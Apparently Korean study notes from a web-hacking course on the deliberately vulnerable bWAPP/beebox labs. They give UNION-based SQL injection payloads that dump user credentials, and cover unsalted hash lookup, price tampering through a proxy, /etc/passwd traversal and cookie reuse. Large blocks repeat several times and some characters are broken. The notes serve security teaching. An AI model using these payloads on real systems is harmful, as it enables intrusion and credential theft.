(취약점 분석 == 버전을 알아낸다.) 해당 버전에 해당하는 취약점을 매칭시킴

 

DB: bWAPP

 

2. 테이블명을 알아내려면?

1‘ union select 1.table_name,3,4,5,6,7 from information_schema.tables #

// 테이블 이름이 너무 많이 나온다.

1' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema='bWAPP' #

 

USER라는 테이블이 있는데, 여기에 개인정보가 가득 들어있다.

 

컬럼명을 알아내려면?

1' union select 1,column_name,3,4,5,6,7 from information_schema.columns # //컬럼이름이 너무 많이 나옴.

1' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_schema=’bWAPP‘ and table_name=’users‘ #

사용자들이 만든 컬럼은 소문자

 

 

 

 

+--------------------+

| Database |

+--------------------+

| information_schema |

| bWAPP |

| drupageddon |

| mysql |

+--------------------+

4 rows in set (0.00 sec)

 

bwapp, mysql...등 이러한 데이터베이스는 information_schema에 들어있다.

 

use bWAPP; //bWAPP이란 DB를 사용해야겠다는 의미

show tables; // 어ᄄᅠᆫ 테이블이 있는지 확인

+-----------------+

| Tables_in_bWAPP |

+-----------------+

| blog |

| heroes |

| movies |

| users |

| visitors |

+-----------------+

5 rows in set (0.00 sec)

desc users; //users라는 테이블에 어떤 컬럼이 있는가?

select * from users;

select * from heroes;

select * from blog;

use information_schema;

show tables;

 

desc tables; // tables라는 테이블의 컬럼 목록 보기

table_schema라는 컬럼과 table_name이라는 컬럼이 있음.

desc columns;

table_schema, table_name, column_name이라는 칼럼이 있다.

 

참고) WHERE조건절에서 descdescend의 약자 (: 하강하다) asc(ascend: 상승하다)

 

order by로 컬럼 개수 알아내기

0‘ order by 1 #

0‘ order by 2 #

0‘ order by 3 #

0‘ order by 4 #

....

0‘ order by 8 # //오류발생 7개구나!

 

우리가 원하는 컬럼은??

1‘ union select 1, column_name, 3,4,5,6,7 from information_schema.columns where table_schema=’bWAPP‘ and table_name=’users‘ #

------> id, login, password, secret

 

컬럼 내용을 보려면? 테이블명은 users

 

1’union select 1,id, login, secret, password, 6,7 from users #

해시값으로 저장되어 있는데, 평문으로 출력

테이블명이 heroes에서 컬럼의 내용을 보려면?

1’ union select 1,id, login, secret, password, 6,7 from heroes #

 

평문으로 저장되어 있어서 해시값으로 출력(sqlt를 섞지 않음.)

 

원래는 해시값을 가지고 원문(패스워드)을 알 수 없음. 그러나 미리 이걸 누가 계산을 해두면? hashes.com //해시값을 계산해주는 사이트, 해시값을 물어보면 원문 패스워드를 알려줌, salt 없는 것만 됨.

 

6885858486f31043e5839c735d99457f045affd0:bug // 비밀번호는 bug

afbde7f7fa09cbce5e05218dc901d49351758176:icecream //비밀번호는 icecreamm

 

이게 해시값인지 어떻게 알았는가?

a부터 f까지의(g이후로는 없음) 알파벳과 0-9ᄁᆞ지 숫자로 이루어져 있음. hex-decimal(16진수)

그러면 16진수는 24승이므로 4bit(각 자리가 4bit) 16진수가 40자리 * 4bit = 160bit(160비트로 나오는 것 중 대표적인게, SHA-1의 해시값, ECC160bit 등등)

 

왜 내가 만든 패스워드는 못 찾을ᄁᆞ?

- hashes.com에서 모든 해시값을 만들 수 없기 떄문에 자주 사용하는 단어들에 대해서만 해시값을 저장해놓고, 일치하는 해시값이 있으면 원문을 알려주는 방식

새로 만든 패스워드나 어렵게 만든 패스워드에 대한 해시값은 없기 때문에 찾을 수가 없는 것

https://crackstation.net/

 

salt를 섞은지 아닌지 알 수 있는가? hashes.com에 안나오면 salt를 섞은 것

 

Dictionary: 자주 사용하는 단어들을 모아놓은 파일, 주로 패시워드를 크래킹할떄 사용한다.

참고) window에서 lcp에서 딕셔너리가 들어있다.

 

보안이 강한 해시함수 중에서 MD5(128bit), SHA-1(160bit)은 안전하지 않으니, SHA-2(256bit): 비트코인, 공인인증서 등 SHA-2(512bit)는 리눅스 운영체제 등에서 사용되고 있다.

해시값이 길수록 안전하다 경우의 수가 늘어나기 떄문에

 

cat /etc/ shadowsalt, 해쉬값이 들어있다.

 

 

* 정보보호의 3요소

기밀성(confidentiality) : 내용이 노출되지 않도록 하는 것

무결성(integrity): 내용이 변조되지 않도록 하는 것

가용성(availability): 항상 사용가능한 상태를 유지하는 것

 

일반기업(사기업)은 기밀성> 무결성> 가용성

ex) 설계도(제조사), 개인정보(쇼핑몰 등), 영업비밀(마케팅, 물류 등)

암호화, 업무 분장(job seperation) 한 사람이 너무 많은 권한을 가지고 있으면 부패한다.

망분리(운용망과 인터넷을 분리)

공기업, 공공기관은 가용성> 무결성> 기밀성

ex) 항만, 철도, 공항, 통신(인터넷, 전화), 전력, 정부기관망 등등

중간에 잘못돼서 연결이 안되면 큰일남 ex) 전기가 중간에 안되면 큰일남

전쟁을 전후로 사회 인프라를 공격하는 시도

 

보안 개발 생명 주기

life cycle: 너무 오래된 sw는 취약점이 많아지기 떄문에 노후화되면 폐기해야 한다.

하나의 sw/웹사이트를 만들면, 6-7년 정도 사용하고 지나가면 차세대 시스템 사업(교체)

: 은행 포함, 공공기관 사이트들의 개선 작업

 

사용자 인터페이스는 그대로 두고 내부를 바꾼다던지 그런 경우도 있고, 내부는 그대로 있고, 외부 인터페이스를 바꾸는 경우도 있다.

 

 

# 실습

 

시나리오 #2: 영화관 체인은 단체 예약 할인을 허용하고 보증금을 요구하기 전에 최대 15명의 참석자

가 있습니다. 공격자는 이 흐름을 모델링하고 몇 번의 요청으로 600석과 모든 영화관을 한 번에 예약

할 수 있는지 테스트하여 막대한 수입 손실을 초래할 수 있다고 위협할 수 있습니다.

 

문제) 어떻게 하면 1유로에 영화를 볼 수 있겠는가?

방법1) 관리자 도구(F12)

hidden으로 설정되어 있어서 계산한 값이 나오지 않는다.

방법2) proxy burp suite를 이용

인터넷 옵션> 연결> lan연결 > 프락시 서버 체크(127.0.0.1: 8080)

beebox: A4 Insecure DOR (Order Tickets)

proxy:intercept on 값 변경(ticket_quantity=500&ticket_price=0.001&action=order)

 

* 최근에는 CMS(Contents management system)를 도입한 회사들이 많이 있음.

가격이 변조되지 않았는지, 가격이 비정상적으로 처리되지 않았는지 이러한 것들을 확인하는 시스템

지금은 웬만한 대기업들은 다 구성되어 있다.

 

beebox실습 A7의 첫 번쨰

/directory traversal directories/

디렉터리가 그대로 노출되고 있음

웹 쉘을 업로드 하고, 웹 쉘 업로드한 경로를 찾기 어려웅때 디렉터리가 그대로 노출되면 쉽게 실행 가능

/home/ Wolverine 디렉터리에 있는 PDF파일은 몇 개일ᄁᆞ?

URL의 뭐리에 디렉터리 경로를 입력함 ?directory=/home/wilverine/Examples

$cd /home/wolverine/Examples

$ls *.pdf

 

BEEBOX실습 A7의 두 번쨰

/etc/passwd에 보면 neoUID는 무엇인가?

?page=/etc/passwd

$ cd /etc

$ vi passwd

 

* 디렉터리가 노출되는 사이트의 특징

index.of

parent directory

검색어에 넣으면 디렉터리가 노출되는 사이트를 보여줌.

 

 

Zeroday Exploit(23시간)
그런데 알려지지 않은 취약점이 있다
제조사가 아직 모르는 상태라서 패치가 아직 없다.
취약점을 발표하고 24시간
무방비 상태에서 공격을 하는 것
제조사가 패치를 만들기 전 (PoC이전, 패치를 만드는 중, 패치를 만들었는데 취약점이 사라지지 않는 경우) 이런 경우가 패치가 나오기 전 상태
패치를 만드는데 걸리는 시간 ? 보통 평균 25-50일 정도
왜이렇게 오래 걸려? 오늘 취약점이 나왔는데, 담당자 미팅이 가능한가? 알 수 없다. 그래서 어떤 취약점인지 파악할 수 없다. 담당자와 약속시간을 맞출 수 없기 때문에 늦어짐(poc단계) + 파악하고 설계자한테 넘겨줄려고 했더니 설계자하고도 약속시간을 맞출 수 없다. + 개발자도 약속 시간을 맞추기 어렵다. + 테스터도 약속시간을 맞추기 어렵다 + 취약점이 맞지 않는다면 또 테스터에게 가서 검사를 받고 이런 식으로 되돌아 간다. 그러면 패치만드는 동안 뉴스에 나오지 않기 위해 엠바고를 건다.
, 중간에 거쳐야할 전문가들이 너무 많다.


- 다크 웹에서 고액으로 거래가 되기도 한다.(iPhone > Windows> ....)
제일 비싼 취약점은 아이폰...
Oneday Exploit
알려진 취약점
패치 나와있음
설치 안하면 공격 가능


패치가 있는데 왜 적용하지 않는가? 의존성(Dependancy)문제 os를 업데이트하면 app은 돌아가지 않을 수 있다. 그러면 엉망이되기 때문에 이런 것 떄문에 의존성 문제 발생(os업데이트 문제)
에러 발생시 엄청난 손실이 발생할 우려
version: 3.2.8(3: 업그레이드, 2:업데이트, 8:패치)

 

약점

약점은 항상 존재한다.(없어지지 않음)

약점 번호체계: CWE-nnnnn

 

취약점

약점 중에 특정 버전에서 특히 심각한 손상을 입힐 수 있는 부분을 취약점(vulberability, vulns)이라고 한다.

취약점 중에서 특히 실제 공격이 가능하면 Exploit이라 한다. (exploit은 취약점을 의미한다.)

 

shodan: IoT기기를 검색하는 검색 엔진

취약한 IOT기기를 검색하거나 id/ pw가 취약한 장치를 파악할 때 사용

 

shodan.io 사이트에 접근하지 못하도록 차단하는 것이 좋은가?

그러면 눈가리고 하늘을 보는 것, 즉 바보같은 행동 전세계 사람들은 shodan을 이용해서 우리나라의 취약점을 보는데, 우리나라만 못본다면 바보같은 행동임.

 

하트블리드 취약점

오픈 ssl특정 버전에 존재하는 취약점

 

1. 해커가 '감자'라고 두 글자로 대답하면 서버는 감자라고 대답함.

2. 해커가 모자라고 500글자 대답해봐 라고 서버에게 전하면 서버는 모자는 두 글자인데 500자로 어떻게 대답을 할까?

3. 그러면 서버는 모자를 포함에 메모리 번지도 대답을 한다. 그런데 이 메모리 번지안에는 비밀번호가 포함될 수 있기 때문에 정보를 유출당할 수 있다. (tmi기법)

 

Credential stuffing

취약한 사이트에서 여러 사람의 id/pw 목록을 알아낸다.

이것을 다른 사이트에 대입한다.

공격이 가능한 이유는? 대부분의 사람들이 여러 사이트에 같은 아이디와 패스워드를 사용하기 떄문에

대응 방법: 강력한 보안 솔루션 사용(x) 사용자들이 사이트마다 서로 다른 id/pw를 사용해야 함.

 

인증(authentication)

beebox A2 세 번째

 

A6/Base64 Encoding(Secret)/

1) low

쿠키에 숨어있는 내용은?

쿠키값 utf-8 base64 디코더 any bugs?

 

broken auth.-logout management

1) low

로그아웃한 이후에 쿠키를 재사용해보기(쿠키 재사용 공격)

로그아웃하기 전에 쿠키값을 복사

로그아웃 클릭

쿠키를 임의의 값으로 교체하고 저장

login.php를 지우고 엔터 로그인하라고 나옴

쿠키값을 다시 입력하고 첫 페이지를 클릭하면 welcome blackpink라고 나옴 쿠키값을 재사용하고 있음.  

*Beebox 문제풀이

A1.injection

/SQL Injection(get/search)

 

* 우리가 알아야할 것 : 모든 계정에 대한 idpw를 알아내려면?

DB이름, 테이블이름, 컬럼 이름을 알아내야 한다. select문을 사용해야 한다.(조회)

그럴려면 Search for a movie에서 select문을 예상해야 한다.

SELECT ?,? FROM ?,? WHERE movie=’ ‘;

이런 select문을 가질 것이다 라고 예상. movie를 어ᄄᅠᇂ게 채울 것인가?

앞에 select문이 있는데, 뒤에 select문을 쓸려면 ? UNION으로 연결을 한다.

SELECT ~~~~~ UNION SELECT ~~~~~~~~ ;

 

ex) 우리 동내라는 테이블이 있는데, 우리 동내는 회사원도 있고, 학생도 있다. 어ᄄᅠᆫ 사람은 학생이면서 회사원도 있을 수 있다. 이렇게 하면 학생도 골라지고, 회사원도 골라주고, 학생이면서 회사원도 골라진다.

조건이 필요!

앞의 select문에서 요청한 컬럼의 개수와 뒤의 select문에서 요청한 컬럼의 개수가 일치해야 한다.

앞에서 하나 요청하면 뒤에도 하나를 요청하고 뒤에서 두 개 요청했으면 앞에서도 두 개 요청해야 나다.

 

SELECT ?,? FROM ?,? WHERE movie=’ ‘;

SELECT ?,? FROM ?,? WHERE movie=‘UNION SELECT~~~‘; //union을 사용하려고 보니까 앞의 컬럼개수를 모르는 상황 다 넣어본다

SELECT ?,? FROM ?,? WHERE movie=‘UNION SELECT 1 #‘; // 한 개가 아니면 different number of columns라고 나온다. 그러면 두 개를 요청해본다

SELECT ?,? FROM ?,? WHERE movie=‘UNION SELECT 1,2 #‘;. // 이것도 에러날 수 있는데 이렇게 4개ᄁᆞ지 가면 select문이 그냥 실행된다.(앞에도 4, 뒤에도 4)

* 앞에서 요청한 개수에 ᄄᆞ라서 컬럼 개수를 요청해야 한다.

 

‘ union select 1,2,3,4,5 #

‘ union select 1,2,3,4,5,6,7 # // 이렇게 하면 167은 나오지 않는다. 요청한 컬럼 중에서 일부는 hidden, 일부만 보여진다. 그러면 우리가 앞으로 요청하는 값들은 (볼려는 값들은) 2,3,4,5에 넣어야 한다.

 

man’ union select 1,2,3,4,5,6,7 # // 합집합 개념이므로 man이 포함된 영화가 나오고 우리가 요청한 컬럼도 나온다.

thor’ union select 1,2,3,4,5,6,7 # //thor라는 영화가 없어서 Null상태, 우리가 요청한 컬럼이 나옴

0‘ union select 1,2,3,4,5,6,7 # // 0이 들어가는 영화가 나온다. 300이라는 영화가 있으면 300영화랑 우리가 요청한 컬럼이 나온다.

1‘ union select 1,2,3,4,5,6,7 # // 1이 들어가는 영화가 나온다.

 

-DB명을 알아내려면?

어제 내부함수를 설명했는데, (내부함수: database()DB명을 알려준다. version()MYSQL버전을 알려준다. user()는 사용자 이름)

 

1' union select 1, database(), version(), 4, user(), 6, 7 #

titleDB, 버전은 취약점에는 특정 버전에만 존재하기 때문에 버전을 알려는 것은 취약점이 뭐다라는 것을 알려고 하는 것이다. 버전만 보고 취약점이 있는지 없는지는 어떻게 알까? 모든 정보는 구글이 알고 있다.

(취약점 분석 == 버전을 알아낸다.) 해당 버전에 해당하는 취약점을 매칭시킴

 

DB: bWAPP

 

2. 테이블명을 알아내려면?

1‘ union select 1.table_name,3,4,5,6,7 from information_schema.tables #

// 테이블 이름이 너무 많이 나온다.

1' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema='bWAPP' #

 

USER라는 테이블이 있는데, 여기에 개인정보가 가득 들어있다.

 

컬럼명을 알아내려면?

1' union select 1,column_name,3,4,5,6,7 from information_schema.columns # //컬럼이름이 너무 많이 나옴.

1' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_schema=’bWAPP‘ and table_name=’users‘ #

사용자들이 만든 컬럼은 소문자

 

 

 

 

+--------------------+

| Database |

+--------------------+

| information_schema |

| bWAPP |

| drupageddon |

| mysql |

+--------------------+

4 rows in set (0.00 sec)

 

bwapp, mysql...등 이러한 데이터베이스는 information_schema에 들어있다.

 

use bWAPP; //bWAPP이란 DB를 사용해야겠다는 의미

show tables; // 어ᄄᅠᆫ 테이블이 있는지 확인

+-----------------+

| Tables_in_bWAPP |

+-----------------+

| blog |

| heroes |

| movies |

| users |

| visitors |

+-----------------+

5 rows in set (0.00 sec)

desc users; //users라는 테이블에 어떤 컬럼이 있는가?

select * from users;

select * from heroes;

select * from blog;

use information_schema;

show tables;

 

desc tables; // tables라는 테이블의 컬럼 목록 보기

table_schema라는 컬럼과 table_name이라는 컬럼이 있음.

desc columns;

table_schema, table_name, column_name이라는 칼럼이 있다.

 

참고) WHERE조건절에서 descdescend의 약자 (: 하강하다) asc(ascend: 상승하다)

 

order by로 컬럼 개수 알아내기

0‘ order by 1 #

0‘ order by 2 #

0‘ order by 3 #

0‘ order by 4 #

....

0‘ order by 8 # //오류발생 7개구나!

 

우리가 원하는 컬럼은??

1‘ union select 1, column_name, 3,4,5,6,7 from information_schema.columns where table_schema=’bWAPP‘ and table_name=’users‘ #

------> id, login, password, secret

 

컬럼 내용을 보려면? 테이블명은 users

 

1’union select 1,id, login, secret, password, 6,7 from users #

해시값으로 저장되어 있는데, 평문으로 출력

테이블명이 heroes에서 컬럼의 내용을 보려면?

1’ union select 1,id, login, secret, password, 6,7 from heroes #

 

평문으로 저장되어 있어서 해시값으로 출력(sqlt를 섞지 않음.)

 

원래는 해시값을 가지고 원문(패스워드)을 알 수 없음. 그러나 미리 이걸 누가 계산을 해두면? hashes.com //해시값을 계산해주는 사이트, 해시값을 물어보면 원문 패스워드를 알려줌, salt 없는 것만 됨.

 

6885858486f31043e5839c735d99457f045affd0:bug // 비밀번호는 bug

afbde7f7fa09cbce5e05218dc901d49351758176:icecream //비밀번호는 icecreamm

 

이게 해시값인지 어떻게 알았는가?

a부터 f까지의(g이후로는 없음) 알파벳과 0-9ᄁᆞ지 숫자로 이루어져 있음. hex-decimal(16진수)

그러면 16진수는 24승이므로 4bit(각 자리가 4bit) 16진수가 40자리 * 4bit = 160bit(160비트로 나오는 것 중 대표적인게, SHA-1의 해시값, ECC160bit 등등)

 

왜 내가 만든 패스워드는 못 찾을ᄁᆞ?

- hashes.com에서 모든 해시값을 만들 수 없기 떄문에 자주 사용하는 단어들에 대해서만 해시값을 저장해놓고, 일치하는 해시값이 있으면 원문을 알려주는 방식

새로 만든 패스워드나 어렵게 만든 패스워드에 대한 해시값은 없기 때문에 찾을 수가 없는 것

https://crackstation.net/

 

salt를 섞은지 아닌지 알 수 있는가? hashes.com에 안나오면 salt를 섞은 것

 

Dictionary: 자주 사용하는 단어들을 모아놓은 파일, 주로 패시워드를 크래킹할떄 사용한다.

참고) window에서 lcp에서 딕셔너리가 들어있다.

 

보안이 강한 해시함수 중에서 MD5(128bit), SHA-1(160bit)은 안전하지 않으니, SHA-2(256bit): 비트코인, 공인인증서 등 SHA-2(512bit)는 리눅스 운영체제 등에서 사용되고 있다.

해시값이 길수록 안전하다 경우의 수가 늘어나기 떄문에

 

cat /etc/ shadowsalt, 해쉬값이 들어있다.

 

 

* 정보보호의 3요소

기밀성(confidentiality) : 내용이 노출되지 않도록 하는 것

무결성(integrity): 내용이 변조되지 않도록 하는 것

가용성(availability): 항상 사용가능한 상태를 유지하는 것

 

일반기업(사기업)은 기밀성> 무결성> 가용성

ex) 설계도(제조사), 개인정보(쇼핑몰 등), 영업비밀(마케팅, 물류 등)

암호화, 업무 분장(job seperation) 한 사람이 너무 많은 권한을 가지고 있으면 부패한다.

망분리(운용망과 인터넷을 분리)

공기업, 공공기관은 가용성> 무결성> 기밀성

ex) 항만, 철도, 공항, 통신(인터넷, 전화), 전력, 정부기관망 등등

중간에 잘못돼서 연결이 안되면 큰일남 ex) 전기가 중간에 안되면 큰일남

전쟁을 전후로 사회 인프라를 공격하는 시도

 

보안 개발 생명 주기

life cycle: 너무 오래된 sw는 취약점이 많아지기 떄문에 노후화되면 폐기해야 한다.

하나의 sw/웹사이트를 만들면, 6-7년 정도 사용하고 지나가면 차세대 시스템 사업(교체)

: 은행 포함, 공공기관 사이트들의 개선 작업

 

사용자 인터페이스는 그대로 두고 내부를 바꾼다던지 그런 경우도 있고, 내부는 그대로 있고, 외부 인터페이스를 바꾸는 경우도 있다.

 

 

# 실습

 

시나리오 #2: 영화관 체인은 단체 예약 할인을 허용하고 보증금을 요구하기 전에 최대 15명의 참석자

가 있습니다. 공격자는 이 흐름을 모델링하고 몇 번의 요청으로 600석과 모든 영화관을 한 번에 예약

할 수 있는지 테스트하여 막대한 수입 손실을 초래할 수 있다고 위협할 수 있습니다.

 

문제) 어떻게 하면 1유로에 영화를 볼 수 있겠는가?

방법1) 관리자 도구(F12)

hidden으로 설정되어 있어서 계산한 값이 나오지 않는다.

방법2) proxy burp suite를 이용

인터넷 옵션> 연결> lan연결 > 프락시 서버 체크(127.0.0.1: 8080)

beebox: A4 Insecure DOR (Order Tickets)

proxy:intercept on 값 변경(ticket_quantity=500&ticket_price=0.001&action=order)

 

* 최근에는 CMS(Contents management system)를 도입한 회사들이 많이 있음.

가격이 변조되지 않았는지, 가격이 비정상적으로 처리되지 않았는지 이러한 것들을 확인하는 시스템

지금은 웬만한 대기업들은 다 구성되어 있다.

 

beebox실습 A7의 첫 번쨰

/directory traversal directories/

디렉터리가 그대로 노출되고 있음

웹 쉘을 업로드 하고, 웹 쉘 업로드한 경로를 찾기 어려웅때 디렉터리가 그대로 노출되면 쉽게 실행 가능

/home/ Wolverine 디렉터리에 있는 PDF파일은 몇 개일ᄁᆞ?

URL의 뭐리에 디렉터리 경로를 입력함 ?directory=/home/wilverine/Examples

$cd /home/wolverine/Examples

$ls *.pdf

 

BEEBOX실습 A7의 두 번쨰

/etc/passwd에 보면 neoUID는 무엇인가?

?page=/etc/passwd

$ cd /etc

$ vi passwd

 

* 디렉터리가 노출되는 사이트의 특징

index.of

parent directory

검색어에 넣으면 디렉터리가 노출되는 사이트를 보여줌.

 

 

Zeroday Exploit(23시간)
그런데 알려지지 않은 취약점이 있다
제조사가 아직 모르는 상태라서 패치가 아직 없다.
취약점을 발표하고 24시간
무방비 상태에서 공격을 하는 것
제조사가 패치를 만들기 전 (PoC이전, 패치를 만드는 중, 패치를 만들었는데 취약점이 사라지지 않는 경우) 이런 경우가 패치가 나오기 전 상태
패치를 만드는데 걸리는 시간 ? 보통 평균 25-50일 정도
왜이렇게 오래 걸려? 오늘 취약점이 나왔는데, 담당자 미팅이 가능한가? 알 수 없다. 그래서 어떤 취약점인지 파악할 수 없다. 담당자와 약속시간을 맞출 수 없기 때문에 늦어짐(poc단계) + 파악하고 설계자한테 넘겨줄려고 했더니 설계자하고도 약속시간을 맞출 수 없다. + 개발자도 약속 시간을 맞추기 어렵다. + 테스터도 약속시간을 맞추기 어렵다 + 취약점이 맞지 않는다면 또 테스터에게 가서 검사를 받고 이런 식으로 되돌아 간다. 그러면 패치만드는 동안 뉴스에 나오지 않기 위해 엠바고를 건다.
, 중간에 거쳐야할 전문가들이 너무 많다.


- 다크 웹에서 고액으로 거래가 되기도 한다.(iPhone > Windows> ....)
제일 비싼 취약점은 아이폰...
Oneday Exploit
알려진 취약점
패치 나와있음
설치 안하면 공격 가능


패치가 있는데 왜 적용하지 않는가? 의존성(Dependancy)문제 os를 업데이트하면 app은 돌아가지 않을 수 있다. 그러면 엉망이되기 때문에 이런 것 떄문에 의존성 문제 발생(os업데이트 문제)
에러 발생시 엄청난 손실이 발생할 우려
version: 3.2.8(3: 업그레이드, 2:업데이트, 8:패치)

 

약점

약점은 항상 존재한다.(없어지지 않음)

약점 번호체계: CWE-nnnnn

 

취약점

약점 중에 특정 버전에서 특히 심각한 손상을 입힐 수 있는 부분을 취약점(vulberability, vulns)이라고 한다.

취약점 중에서 특히 실제 공격이 가능하면 Exploit이라 한다. (exploit은 취약점을 의미한다.)

 

shodan: IoT기기를 검색하는 검색 엔진

취약한 IOT기기를 검색하거나 id/ pw가 취약한 장치를 파악할 때 사용

 

shodan.io 사이트에 접근하지 못하도록 차단하는 것이 좋은가?

그러면 눈가리고 하늘을 보는 것, 즉 바보같은 행동 전세계 사람들은 shodan을 이용해서 우리나라의 취약점을 보는데, 우리나라만 못본다면 바보같은 행동임.

 

하트블리드 취약점

오픈 ssl특정 버전에 존재하는 취약점

 

1. 해커가 '감자'라고 두 글자로 대답하면 서버는 감자라고 대답함.

2. 해커가 모자라고 500글자 대답해봐 라고 서버에게 전하면 서버는 모자는 두 글자인데 500자로 어떻게 대답을 할까?

3. 그러면 서버는 모자를 포함에 메모리 번지도 대답을 한다. 그런데 이 메모리 번지안에는 비밀번호가 포함될 수 있기 때문에 정보를 유출당할 수 있다. (tmi기법)

 

Credential stuffing

취약한 사이트에서 여러 사람의 id/pw 목록을 알아낸다.

이것을 다른 사이트에 대입한다.

공격이 가능한 이유는? 대부분의 사람들이 여러 사이트에 같은 아이디와 패스워드를 사용하기 떄문에

대응 방법: 강력한 보안 솔루션 사용(x) 사용자들이 사이트마다 서로 다른 id/pw를 사용해야 함.

 

인증(authentication)

beebox A2 세 번째

 

A6/Base64 Encoding(Secret)/

1) low

쿠키에 숨어있는 내용은?

쿠키값 utf-8 base64 디코더 any bugs?

 

broken auth.-logout management

1) low

로그아웃한 이후에 쿠키를 재사용해보기(쿠키 재사용 공격)

로그아웃하기 전에 쿠키값을 복사

로그아웃 클릭

쿠키를 임의의 값으로 교체하고 저장

login.php를 지우고 엔터 로그인하라고 나옴

쿠키값을 다시 입력하고 첫 페이지를 클릭하면 welcome blackpink라고 나옴 쿠키값을 재사용하고 있음.*Beebox 문제풀이

A1.injection

/SQL Injection(get/search)

 

* 우리가 알아야할 것 : 모든 계정에 대한 idpw를 알아내려면?

DB이름, 테이블이름, 컬럼 이름을 알아내야 한다. select문을 사용해야 한다.(조회)

그럴려면 Search for a movie에서 select문을 예상해야 한다.

SELECT ?,? FROM ?,? WHERE movie=’ ‘;

이런 select문을 가질 것이다 라고 예상. movie를 어ᄄᅠᇂ게 채울 것인가?

앞에 select문이 있는데, 뒤에 select문을 쓸려면 ? UNION으로 연결을 한다.

SELECT ~~~~~ UNION SELECT ~~~~~~~~ ;

 

ex) 우리 동내라는 테이블이 있는데, 우리 동내는 회사원도 있고, 학생도 있다. 어ᄄᅠᆫ 사람은 학생이면서 회사원도 있을 수 있다. 이렇게 하면 학생도 골라지고, 회사원도 골라주고, 학생이면서 회사원도 골라진다.

조건이 필요!

앞의 select문에서 요청한 컬럼의 개수와 뒤의 select문에서 요청한 컬럼의 개수가 일치해야 한다.

앞에서 하나 요청하면 뒤에도 하나를 요청하고 뒤에서 두 개 요청했으면 앞에서도 두 개 요청해야 나다.

 

SELECT ?,? FROM ?,? WHERE movie=’ ‘;

SELECT ?,? FROM ?,? WHERE movie=‘UNION SELECT~~~‘; //union을 사용하려고 보니까 앞의 컬럼개수를 모르는 상황 다 넣어본다

SELECT ?,? FROM ?,? WHERE movie=‘UNION SELECT 1 #‘; // 한 개가 아니면 different number of columns라고 나온다. 그러면 두 개를 요청해본다

SELECT ?,? FROM ?,? WHERE movie=‘UNION SELECT 1,2 #‘;. // 이것도 에러날 수 있는데 이렇게 4개ᄁᆞ지 가면 select문이 그냥 실행된다.(앞에도 4, 뒤에도 4)

* 앞에서 요청한 개수에 ᄄᆞ라서 컬럼 개수를 요청해야 한다.

 

‘ union select 1,2,3,4,5 #

‘ union select 1,2,3,4,5,6,7 # // 이렇게 하면 167은 나오지 않는다. 요청한 컬럼 중에서 일부는 hidden, 일부만 보여진다. 그러면 우리가 앞으로 요청하는 값들은 (볼려는 값들은) 2,3,4,5에 넣어야 한다.

 

man’ union select 1,2,3,4,5,6,7 # // 합집합 개념이므로 man이 포함된 영화가 나오고 우리가 요청한 컬럼도 나온다.

thor’ union select 1,2,3,4,5,6,7 # //thor라는 영화가 없어서 Null상태, 우리가 요청한 컬럼이 나옴

0‘ union select 1,2,3,4,5,6,7 # // 0이 들어가는 영화가 나온다. 300이라는 영화가 있으면 300영화랑 우리가 요청한 컬럼이 나온다.

1‘ union select 1,2,3,4,5,6,7 # // 1이 들어가는 영화가 나온다.

 

-DB명을 알아내려면?

어제 내부함수를 설명했는데, (내부함수: database()DB명을 알려준다. version()MYSQL버전을 알려준다. user()는 사용자 이름)

 

1' union select 1, database(), version(), 4, user(), 6, 7 #

titleDB, 버전은 취약점에는 특정 버전에만 존재하기 때문에 버전을 알려는 것은 취약점이 뭐다라는 것을 알려고 하는 것이다. 버전만 보고 취약점이 있는지 없는지는 어떻게 알까? 모든 정보는 구글이 알고 있다.

(취약점 분석 == 버전을 알아낸다.) 해당 버전에 해당하는 취약점을 매칭시킴

 

DB: bWAPP

 

2. 테이블명을 알아내려면?

1‘ union select 1.table_name,3,4,5,6,7 from information_schema.tables #

// 테이블 이름이 너무 많이 나온다.

1' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema='bWAPP' #

 

USER라는 테이블이 있는데, 여기에 개인정보가 가득 들어있다.

 

컬럼명을 알아내려면?

1' union select 1,column_name,3,4,5,6,7 from information_schema.columns # //컬럼이름이 너무 많이 나옴.

1' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_schema=’bWAPP‘ and table_name=’users‘ #

사용자들이 만든 컬럼은 소문자

 

 

 

 

+--------------------+

| Database |

+--------------------+

| information_schema |

| bWAPP |

| drupageddon |

| mysql |

+--------------------+

4 rows in set (0.00 sec)

 

bwapp, mysql...등 이러한 데이터베이스는 information_schema에 들어있다.

 

use bWAPP; //bWAPP이란 DB를 사용해야겠다는 의미

show tables; // 어ᄄᅠᆫ 테이블이 있는지 확인

+-----------------+

| Tables_in_bWAPP |

+-----------------+

| blog |

| heroes |

| movies |

| users |

| visitors |

+-----------------+

5 rows in set (0.00 sec)

desc users; //users라는 테이블에 어떤 컬럼이 있는가?

select * from users;

select * from heroes;

select * from blog;

use information_schema;

show tables;

 

desc tables; // tables라는 테이블의 컬럼 목록 보기

table_schema라는 컬럼과 table_name이라는 컬럼이 있음.

desc columns;

table_schema, table_name, column_name이라는 칼럼이 있다.

 

참고) WHERE조건절에서 descdescend의 약자 (: 하강하다) asc(ascend: 상승하다)

 

order by로 컬럼 개수 알아내기

0‘ order by 1 #

0‘ order by 2 #

0‘ order by 3 #

0‘ order by 4 #

....

0‘ order by 8 # //오류발생 7개구나!

 

우리가 원하는 컬럼은??

1‘ union select 1, column_name, 3,4,5,6,7 from information_schema.columns where table_schema=’bWAPP‘ and table_name=’users‘ #

------> id, login, password, secret

 

컬럼 내용을 보려면? 테이블명은 users

 

1’union select 1,id, login, secret, password, 6,7 from users #

해시값으로 저장되어 있는데, 평문으로 출력

테이블명이 heroes에서 컬럼의 내용을 보려면?

1’ union select 1,id, login, secret, password, 6,7 from heroes #

 

평문으로 저장되어 있어서 해시값으로 출력(sqlt를 섞지 않음.)

 

원래는 해시값을 가지고 원문(패스워드)을 알 수 없음. 그러나 미리 이걸 누가 계산을 해두면? hashes.com //해시값을 계산해주는 사이트, 해시값을 물어보면 원문 패스워드를 알려줌, salt 없는 것만 됨.

 

6885858486f31043e5839c735d99457f045affd0:bug // 비밀번호는 bug

afbde7f7fa09cbce5e05218dc901d49351758176:icecream //비밀번호는 icecreamm

 

이게 해시값인지 어떻게 알았는가?

